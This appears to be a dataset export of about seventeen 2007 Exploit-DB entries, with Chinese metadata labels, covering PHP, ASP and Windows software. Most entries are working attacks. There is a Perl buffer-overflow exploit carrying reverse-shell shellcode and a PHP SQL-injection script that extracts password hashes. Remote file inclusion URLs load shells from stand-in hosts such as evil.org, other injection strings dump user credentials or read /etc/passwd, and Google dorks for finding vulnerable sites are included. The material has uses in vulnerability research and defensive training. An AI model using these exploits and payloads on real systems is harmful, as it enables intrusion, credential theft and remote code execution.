QLWD/code_shield huggingface dataset:
标题: mxBB Module mx_glance 2.3.3 - Remote File Inclusion EDB-ID: 4470 CVE: 2007-5178 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-29 漏洞利用脚本: ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
        +                                                                    +
        +    mxBB Module mx_glance 2.3.3 Remote File Include Vulnerability   +
        +                                                                    +
        +                   Discovered by bd0rk || SOH-Crew                  +
        +                                                                    +
        +                         www.soh-crew.it.tt                         +
        +                                                                    +
        +            The german Coding and IT-Security Ressource             +
        +                                                                    +
        ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Vendor: http://www.mx-system.com

Download: http://www.mx-system.com/modules/mx_pafiledb/dload.php?action=download&file_id=336


Vulnerable Code in contrib/mx_glance_sdesc.php line 89

####################################################################

include_once($mx_root_path . 'includes/mx_functions_tools.'.$phpEx);

####################################################################

[+]Exploit: http://[t4rg3t]/[p4th]/contrib/mx_glance_sdesc.php?mx_root_path=[ShellCode]


Description: The parameter $mx_root_path is not declared before include_once.

Fixtip: Declare the parameter in sourcecode or use hacking attempt.


Greetings: str0ke, TheJT, Bedrik, SkyXNet, Kirsche, Viggy, x0r_32, SecurityFocus


####The 18 years old, german Hacker bd0rk####


Contact: bd0rk[at]hackermail.com

ICQ: 249-613-511


/I am out =)

# milw0rm.com [2007-09-29] URL: https://www.exploit-db.com/exploits/4470
标题: actSite 1.56 - 'news.php' Local File Inclusion EDB-ID: 4472 CVE: 2007-5174 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-01 漏洞利用脚本: \#'#/

                         (-.-)

   -----------------oOO---(_)---OOo-----------------

   | actSite v1.56 (news.php) Local File Inclusion |

   |                 coded by DNX                  |

   -------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: in phpinc/news.php line 101



         require PHP_INCLUDE_PATH."/inc/news/news_$_POST[do].php";



[!] PoC: 

    - http://[site]/[path]/phpinc/news.php?do=/../../../../../../../etc/passwd%00



[!] Description:

    - So why we can inject code in a post variable per url? Let's do some research...

      - In phpinc/news.php line 36

       require_once('../config.php');



      - Let's take a look in 'config.php' line 22

        if(empty($BaseCfg['install_run'])) require_once($BaseCfg['BaseDir']."/phpinc/inc/csb.php");



      - Ok, let's take a look in 'phpinc/inc/csb.php' line 18

        if(getenv('REQUEST_METHOD') == "GET") {

  foreach($_GET as $key => $val) {

    $_POST[$key] =& $_GET[$key];

  }

 }



[!] Solution: Install security update to v1.57

# milw0rm.com [2007-10-01] URL: https://www.exploit-db.com/exploits/4472
标题: actSite 1.991 Beta - 'base.php' Remote File Inclusion EDB-ID: 4473 CVE: 2007-5175 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-01 漏洞利用脚本: \#'#/

                             (-.-)

   ---------------------oOO---(_)---OOo--------------------

   | actSite v1.991 Beta (base.php) Remote File Inclusion |

   |                     coded by DNX                     |

   --------------------------------------------------------

[!] Discovered: DNX

[!] Vendor: http://www.actsite.de

[!] Detected: 02.09.2007

[!] Reported: 02.09.2007

[!] Remote: yes



[!] Background: actSite is a content management system based on PHP and MySQL



[!] Bug: $BaseCfg[BaseDir] in lib/base.php



[!] PoC: 

    - http://[site]/[path]/lib/base.php?BaseCfg[BaseDir]=[shell]



[!] Solution: Install update to v1.995

# milw0rm.com [2007-10-01] URL: https://www.exploit-db.com/exploits/4473
标题: FSFDT v3.000 d9 - 'HELP' Remote Buffer Overflow EDB-ID: 4484 CVE: 2007-5256 类型: REMOTE 平台: WINDOWS 发布日期: 2007-10-04 漏洞利用脚本: # ~$ nc -l -p 4321
# Microsoft Windows 2000 [Version 5.00.2195]
# (C) Copyright 1985-2000 Microsoft Corp.
# 
# E:\draft\fsd1110\windows>_
# 
# -------------------------------------------

#!/usr/bin/perl

# FSFDT remote exploit by weak[at]fraglab.at
# spawns reverse shell to 10.0.0.100:4321
# tested against 'FSFDT Windows FSD Beta from FSD V3.000 draft 9' on win2k sp4

use IO::Socket;

if( $#ARGV < 1 )
{
 print "usage: perl ".$0." <ip> <port>";
 exit();
}
my $ip = $ARGV[0];
my $port = $ARGV[1];

print "connecting...\n";
my $sock = new IO::Socket::INET (  PeerAddr => $ip,  PeerPort => $port,  Proto => 'tcp',  );
die "could not create socket: $!\n" unless $sock;

# jmp esp in KERNEL32.DLL 5.0.2195.7006
my $jmpesp = "\xB7\x49\xE7\x77";

# encoded 'jmp 0x400' to jump to stage2
my $jmpcode = 
"\xeb\x11\x5e\x31\xc9\xb1\x1e\x80\x6c\x0e\xff\x35\x80\xe9\x01".
"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x0e\x16\x0e\x69\x59\x8d".
"\x8d\x8d\x8d\xb5\x1d\x1c\x66\xfe\x9b\xb6\x1e\x30\x34\xb5\x65".
"\x36\x75\x17\x2f\x1d\x36\x3a\x36\x36";

# win32_reverse -  EXITFUNC=thread LHOST=10.0.0.2 LPORT=4321 Size=312 Encoder=PexFnstenvSub http://metasploit.com
# bad chars: 0x00 0x0A 0x0D 0x20 0x29 
my $shellcode =
"\x2b\xc9\x83\xe9\xb8\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x1e".
"\x2a\x6e\x8f\x83\xeb\xfc\xe2\xf4\xe2\x40\x85\xc2\xf6\xd3\x91\x70".
"\xe1\x4a\xe5\xe3\x3a\x0e\xe5\xca\x22\xa1\x12\x8a\x66\x2b\x81\x04".
"\x51\x32\xe5\xd0\x3e\x2b\x85\xc6\x95\x1e\xe5\x8e\xf0\x1b\xae\x16".
"\xb2\xae\xae\xfb\x19\xeb\xa4\x82\x1f\xe8\x85\x7b\x25\x7e\x4a\xa7".
"\x6b\xcf\xe5\xd0\x3a\x2b\x85\xe9\x95\x26\x25\x04\x41\x36\x6f\x64".
"\x1d\x06\xe5\x06\x72\x0e\x72\xee\xdd\x1b\xb5\xeb\x95\x69\x5e\x04".
"\x5e\x26\xe5\xff\x02\x87\xe5\xcf\x16\x74\x06\x01\x50\x24\x82\xdf".
"\xe1\xfc\x08\xdc\x78\x42\x5d\xbd\x76\x5d\x1d\xbd\x41\x7e\x91\x5f".
"\x76\xe1\x83\x73\x25\x7a\x91\x59\x41\xa3\x8b\xe9\x9f\xc7\x66\x8d".
"\x4b\x40\x6c\x70\xce\x42\xb7\x86\xeb\x87\x39\x70\xc8\x79\x3d\xdc".
"\x4d\x69\x3d\xcc\x4d\xd5\xbe\xe7\x14\x2a\x6e\xeb\x78\x42\x7e\x6e".
"\x78\x79\xe7\x6e\x8b\x42\x82\x76\xb4\x4a\x39\x70\xc8\x40\x7e\xde".
"\x4b\xd5\xbe\xe9\x74\x4e\x08\xe7\x7d\x47\x04\xdf\x47\x03\xa2\x06".
"\xf9\x40\x2a\x06\xfc\x1b\xae\x7c\xb4\xbf\xe7\x72\xe0\x68\x43\x71".
"\x5c\x06\xe3\xf5\x26\x81\xc5\x24\x76\x58\x90\x3c\x08\xd5\x1b\xa7".
"\xe1\xfc\x35\xd8\x4c\x7b\x3f\xde\x74\x2b\x3f\xde\x4b\x7b\x91\x5f".
"\x76\x87\xb7\x8a\xd0\x79\x91\x59\x74\xd5\x91\xb8\xe1\xfa\x06\x68".
"\x67\xec\x17\x70\x6b\x2e\x91\x59\xe1\x5d\x92\x70\xce\x42\x81\x41".
"\xfe\x4a\x3d\x70\xc8\xd5\xbe\x8f";

print "sending payload...\n";
print $sock "HELP " . "A"x200 . $jmpesp . "\x90"x8 . $jmpcode . "\n" . "\x90"x400 . $shellcode;
close($sock);

print "done.\n";

# milw0rm.com [2007-10-04] URL: https://www.exploit-db.com/exploits/4484
标题: Ossigeno CMS 2.2a3 - 'footer.php' Remote File Inclusion EDB-ID: 4483 CVE: 2007-5234 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-04 漏洞利用脚本: :::::::::::::::::::::::::::::::::::::::::::::::::::.......................
::| \ | (_)          | \ | |                       / ____|
::|  \| |_  ___ ___  |  \| | __ _ _ __ ___   ___  | |     _ __ _____      __
::| . ` | |/ __/ _ \ | . ` |/ _` | '_ ` _ \ / _ \ | |    | '__/ _ \ \ /\ / /
::| |\  | | (_|  __/ | |\  | (_| | | | | | |  __/ | |____| | |  __/\ V  V /
::|_| \_|_|\___\___| |_| \_|\__,_|_| |_| |_|\___|  \_____|_|  \___| \_/\_/
:::::::::::::::::::::::::::::We got the nicest name in the security scene!
::::::::Info::.
::Script:Ossigeno-script
::Version:2.2_alpha3
::Author:Neovision
::Homepage:http://sourceforge.net/projects/ossigeno
::
:::::::::Details::.
::Type: File Inclusion
::Exploit:
::
:: upload/common/footer.php contains :
:: include("{$level}{$graphic_base}templates/{$header["template"]}_footer.php");
::
:: $level is undefined
:.
::
::and if anybody needs some cheap xss to publish ->read that code xD
::plus it may even hold more rfi, we just took  a quick look
::
::::::::::::::::::::::::::::::::.
:::::::::::Additional_Information::.
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::.
::Contact: naxx@nicenamecrew.com
::Website: http://nicenamecrew.com
:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::. 

# milw0rm.com [2007-10-04] URL: https://www.exploit-db.com/exploits/4483
标题: phpBB Mod OpenID 0.2.0 - 'BBStore.php' Remote File Inclusion EDB-ID: 4471 CVE: 2007-5173 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-30 漏洞利用脚本: ============================================
=                                          =
=             XORON  (c) 2007              =
=                                          =
============================================
=                                          =
=  phpBB Openid 0.2.0 Remote File Include  =
=                                          =
============================================
=
= Download:
= http://sourceforge.net/project/showfiles.php?group_id=178846
=
============================================
=
= Exploit:
= /includes/openid/Auth/OpenID/BBStore.php?openid_root_path=shell?
=
============================================
=                                          =
=      Special thanks "k1tkat"  :)         =
=                                          =
============================================ 

# milw0rm.com [2007-09-30] URL: https://www.exploit-db.com/exploits/4471
标题: EDraw Office Viewer Component 5.3 - 'FtpDownloadFile()' Remote Buffer Overflow EDB-ID: 4474 CVE: 2007-5257 类型: DOS 平台: WINDOWS 发布日期: 2007-10-01 漏洞利用脚本: <pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">-----------------------------------------------------------------------------
 <b>EDraw Office Viewer Component 5.3 "FtpDownloadFile()" Remote BoF</b>
 url: http://www.ocxt.com/officeviewer.php

 Author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 <b><font color='red'>This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Marked as:
 RegKey Safe for Script: True
 RegkeySafe for Init: True
 KillBitSet: False</b>

 <b>SEH chain:
 SEH chain of thread 00001EE4, item 0
  Address=0219F284
  SE handler=IEXPLORE.00410041

 SEH chain of thread 00001EE4, item 1
  Address=00410041
  SE handler=IEXPLORE.00426AA4</b>

-----------------------------------------------------------------------------
<object classid='clsid:6BA21C22-53A5-463F-BBE8-5CF7FFA0132B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value='Click here to start the test'>

<script language='vbscript'>
 Sub tryMe
  buff = String(25000, "A")
  test.FtpDownloadFile buff, buff
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-10-01] URL: https://www.exploit-db.com/exploits/4474
标题: PHP-Fusion module Expanded Calendar 2.x - SQL Injection EDB-ID: 4475 CVE: 2007-5187 类型: WEBAPPS 平台: PHP 发布日期: 2007-10-01 漏洞利用脚本: <?php
print_r("
/********************************************************
*      Expanded Calendar 2.x (PHP-Fusion module)        *
*      User pass disclosure exploit                     *
*      Found by Matrix86 of Rbt-4 Crew                  *
*      Site: www.rbt-4.net                              *
*      Mail: info[at]rbt-4[dot]net                      *
*********************************************************
* Bug found in                                          *
*      /infusions/calendar_events_panel/show_single.php *
* Line:                                                 *
*      27                                               *
* Vulnerability type: Sql injection                     *
* Unpatched!                                            *
* Patch:                                                *
* Line 26:                                              *
* if(!isset(\$sel)||!isNum(\$sel)) fallback(\"index.php\");
*
********************************************************/
");

if($argc < 4) die("Usage: ".$argv[0]." [site] [path] [user_id]\nExample: ".$argv[0]." localhost /php-fusion/ 1\n");

ini_set("max_execution_time",0);
ini_set("default_socket_timeout",4);

$host    = $argv[1];
$path    = $argv[2];
$user_id = $argv[3];
$port    = 80;

$sqlinit = "infusions/calendar_events_panel/show_single.php?sel=-1/**/UNION/**/SELECT/**/0,0,user_password,user_name,0,0,0,0,0,0,0,0/**/FROM/**/fusion_users/**/WHERE/**/user_id=";
$sqlend = "/*";

function send($req){
 global $host,$port;
 
 $ip = gethostbyname($host);
 if(stristr($host,$ip)) die("Error: Host not found\n");
 
 if(!($sock = fsockopen($ip,$port))) die("Error: unable open sock!\n");
 
 fputs($sock,$req);
 $response = "";
 while (!feof($sock)) {
  $response .= fgets ($sock,128);
 }
 fclose ($sock);
 return $response;
}

$packet = "GET ".$path.$sqlinit.$user_id.$sqlend." HTTP/1.0\r\n";
$packet.= "User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.7 (like Gecko)\r\n";
$packet.= "Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
echo "Packet:\n".$packet."\n\n";

$resp = send($packet);
$temp  = explode("<td colspan='2'><font size='4'><u>",$resp);
$temp2 = explode("<td colspan='3' style='border-style: solid; border-width: 1px; padding-left: 4px; padding-right: 4px; padding-top: 1px; padding-bottom: 1px'><font style='font-size: 11px'>",$temp[1]);
$temp3 = explode("</td>",$temp2[1]);
$username = $temp3[0];

if(isset($temp[1])) {
 $md5 = substr($temp[1],0,32);
 echo "Id user:  ".$user_id."\nUsername: ".$username."\nPassword: ".$md5."\n";
}
else echo("Bug Fixed..sorry!\n");

exit();
?>

# milw0rm.com [2007-10-01] URL: https://www.exploit-db.com/exploits/4475
标题: public media manager 1.3 - Remote File Inclusion EDB-ID: 4465 CVE: 2007-5149 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-28 漏洞利用脚本: #f0und bY 0in
#Download:http://pmm-cms.sourceforge.net/
BUG:
news/newstopic_inc.php:2:if (!empty($indir)) include_once ($indir)."/newsdb/config.php";

Expl0it:
http://x.com/[path]/news/newstopic_inc.php?indir=http://evil.org/shell.txt

# milw0rm.com [2007-09-28] URL: https://www.exploit-db.com/exploits/4465
标题: Mambo Component Mambads 1.5 - SQL Injection EDB-ID: 4469 CVE: 2007-5177 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-29 漏洞利用脚本: ######################################
# Mambads <= 1.5 Sql Injection       #
######################################


Autor:Sniper456 

Contact:Sniper456[at]gmail.kom

Greetss: PescaoDeth, Daemon21, Vampirin456, Shh-2, CodeBreak and the chilean People ;)



**SQL:
index.php?option=com_mambads&Itemid=0&func=detail&cacat=1&casb=1&caid=[inyecta maricon]


**Example:
index.php?option=com_mambads&Itemid=0&func=detail&cacat=1&casb=1&caid=999/**/Union/**/select/**/1,2,3,4,5,concat(char(117,115,101,114,110,97,109,101,58),username,char(32,112,97,115,115,119,111,114,100,58),password),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23%20from%20mos_users/*



Dork:  cuAck!, wena naaaty  xD   
         "inurl:com_mambads"


######################################

# Fro000M  chiLe my frieeeenD! 2007  #

######################################

# milw0rm.com [2007-09-29] URL: https://www.exploit-db.com/exploits/4469
标题: Chupix CMS 0.2.3 - 'repertoire' Remote File Inclusion EDB-ID: 4462 CVE: 2007-5139 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-27 漏洞利用脚本: #chupix 0.2.3 /admin/include/header.php RFI
#f0und by 0in
#contact: 0in.email@gmail.com
#Greetings to:Die-angel,Slim,Joker186,Kaja,Artysta,wojto111,reydex
#team:Our Dark-Coders team;]
--------------------------------------------------------------------------------------------------------------------
#register_globals=On
BUG:
include($repertoire .'db/config/config.php');  // lecture de la configuration souhaitÃ©e par l'utilisateur
 include($repertoire .'include/template.php');             // classe de crÃ©ation des templates
 include($repertoire .'include/MyTxt.php');                // inclusion de la classe MyTxt
 $path_lang = $repertoire ."langues/". $conf__lang ."/admin.php";
 include($path_lang);                                      // Chargement du fichier de langues

EXPLOIT:
http://x.com/[patch]/admin/include/header.php?repertoire=http://evil.org/shell.txt ?
--------------------------------------------------------------------------------------------------------------------

# milw0rm.com [2007-09-27] URL: https://www.exploit-db.com/exploits/4462
标题: lustig.cms Beta 2.5 - 'forum.php?view' Remote File Inclusion EDB-ID: 4461 CVE: 2007-5138 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-27 漏洞利用脚本: # lustig.cms BETA 2.5 (forum.php view) Remote File Inclusion Vulnerabilities

# D.Scripts : http://dfn.dl.sourceforge.net/sourceforge/lustig-cms/lustig.cms_beta_2.5_2.zip

# V.Code : Line 12 . 13 . 14

#  if(isset($view))
#  {
#  include $view;

# POC : /forum/forum.php?view=Shell 

# milw0rm.com [2007-09-27] URL: https://www.exploit-db.com/exploits/4461
标题: Novus 1.0 - 'notas.asp?nota_id' SQL Injection EDB-ID: 4458 CVE: 2007-5123 类型: WEBAPPS 平台: ASP 发布日期: 2007-09-26 漏洞利用脚本: Novus - Sistema de administracion y contenido.
bug: Sql Inyection.
official site: http://novus.com.mx
d0rk: "Powered by Novus"
free: no
system: asp

bug found by ka0x
D.O.M TEAM
we: ka0x, an0de, xarnuz, s0cratex
ka0x01[at]gmail.com

tables:

1- a_nota.nota_id
2- a_nota.fe_publicacion
3- a_nota.seccion_id
4- a_nota.sub_sec_id
5- a_nota.estatus_id
6- a_nota.fe_alta
7- a_nota.usuario_id
8- a_nota.ultima_hora
9- a_nota.tema_id
10- a_nota.autor
11- a_nota.autor_id
12- a_nota.titulo
13- a_nota.resumen
14- a_nota.texto
15- a_nota.temporal

informacion server:

http://[novus]/notas.asp?nota_id=1+and+1=convert(int,db_name())
http://[novus]/notas.asp?nota_id=1+and+1=convert(int,system_user)
http://[novus]/notas.asp?nota_id=1+and+1=convert(int,@@servername)--
http://[novus]/notas.asp?nota_id=1+and+1=convert(int,@@version)--

update table tutulo:

http://[novus]/notas.asp?nota_id=0update+a_nota+set+titulo+=+'Novus Bug Sql Inyection'--

#from spain
-- 
// ka0x

# milw0rm.com [2007-09-26] URL: https://www.exploit-db.com/exploits/4458
标题: PhFiTo 1.3.0 - 'SRC_PATH' Remote File Inclusion EDB-ID: 4464 CVE: 2007-5157 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-28 漏洞利用脚本: ?????__________________________________________?????
????????_____________________________________???????
???????????_________________________________????????
??????????????_____________________________?????????
????????????????__________________________??????????
???????????????????______________________???????????
?????????????????????___________________????????????
??????????????????????_________________?????????????
????????????????????????_______________?????????????
??????????????????????????_____________?????????????
___?????????????????????????__________??????????????
_____?????????????????????????________??????????????
________???????????????????????_______??????????????
___________??????????????????????_____??????????????
________________???????????????????___??????????????
_____________________???????????????__??????????????
___________________________????????????????????????_
_____________________???????????????????????????____
______________???????????????????????????????_______
___________???????????????????????????????????______
________????????????????????????????????????????____
______????????_____??????????????????????????????___
____?????????_______??????????????????????????????__
__???????????_______???????????????????????????????_
_?????????????_____?????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
????????????????????????????????????????????????????
_??????????????????????????????????????????????????_
__?????????????????????????????????????????????????_
_____?????????????????????????????????????????????__
_________????????????????????????????????????????___
_______________??????????????????????????????????___
_________________???????????????????????????????____
_________________???????????????????????????________
________________??? ???????_____ ??????????___________
_________________?????_________?????_________?????__
__________????_________????____________?????????____
__________?????????????????_____??????????__________
__________?????????????????___?????_________________
__________?????______??????_________________________
# phpFidoNode  <=  Remote File Inclusion Vulnerability
#
#Dork::(
#
#Vuln Code
##################################################
#ERROR1:phfito-post.php
#require_once $SRC_PATH."P_phfito.php";;<<< rfi coded.
#Other Files:
#/phfito/phfito-post?SRC_PATH=[ShellScript]
##################################################
#Download:http://switch.dl.sourceforge.net/sourceforge/phpfidonode/phfito-1.3.0.tar.gz
#
##################################################
####specialthanx:####Str0ke####Kezzap66345################
##################################################

# milw0rm.com [2007-09-28] URL: https://www.exploit-db.com/exploits/4464
标题: Integramod Nederland 1.4.2 - Remote File Inclusion EDB-ID: 4463 CVE: 2007-5140 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-27 漏洞利用脚本: ------------------------

Found: xoron

------------------------

Vendor: http://www.integramod.nl/forum/portal.php

Download: http://sourceforge.net/project/showfiles.php?group_id=191355

------------------------
Exploit:

includes/archive/archive_topic.php?phpbb_root_path=http://attacker/shells/r57.txt?

------------------------

Kral kraldÄ±r!

------------------------

# milw0rm.com [2007-09-27] URL: https://www.exploit-db.com/exploits/4463
标题: ActiveKB KnowledgeBase 2.x - 'catId' SQL Injection EDB-ID: 4459 CVE: 2007-5131 类型: WEBAPPS 平台: PHP 发布日期: 2007-09-26 漏洞利用脚本: ActiveKB NX 2.? ( Powered by ActiveKB Knowledgebase Software)  (index.php) SQL Injection

                              Discovered by Luna-Tic and XTErner 19 Years Ukrainian Hackers 

Vendor:www.interspire.com/activekb/

License:sharewere

Exploit:/kb/index.php?ToDo=browse&catId=[SQL CODE]
http://www.xxx.net/kb/index.html?ToDo=browse&catId=-20+union+select+1,concat(email,0x3a,password,0x3a,userid),3,4,5,6,7+from+user--
https://www.xxx.com/faq/index.php?ToDo=browse&catId=-10+union+select+1,LOAD_FILE(0x2f6574632f706173737764),3,4,5,6,7+members/*

# milw0rm.com [2007-09-26] URL: https://www.exploit-db.com/exploits/4459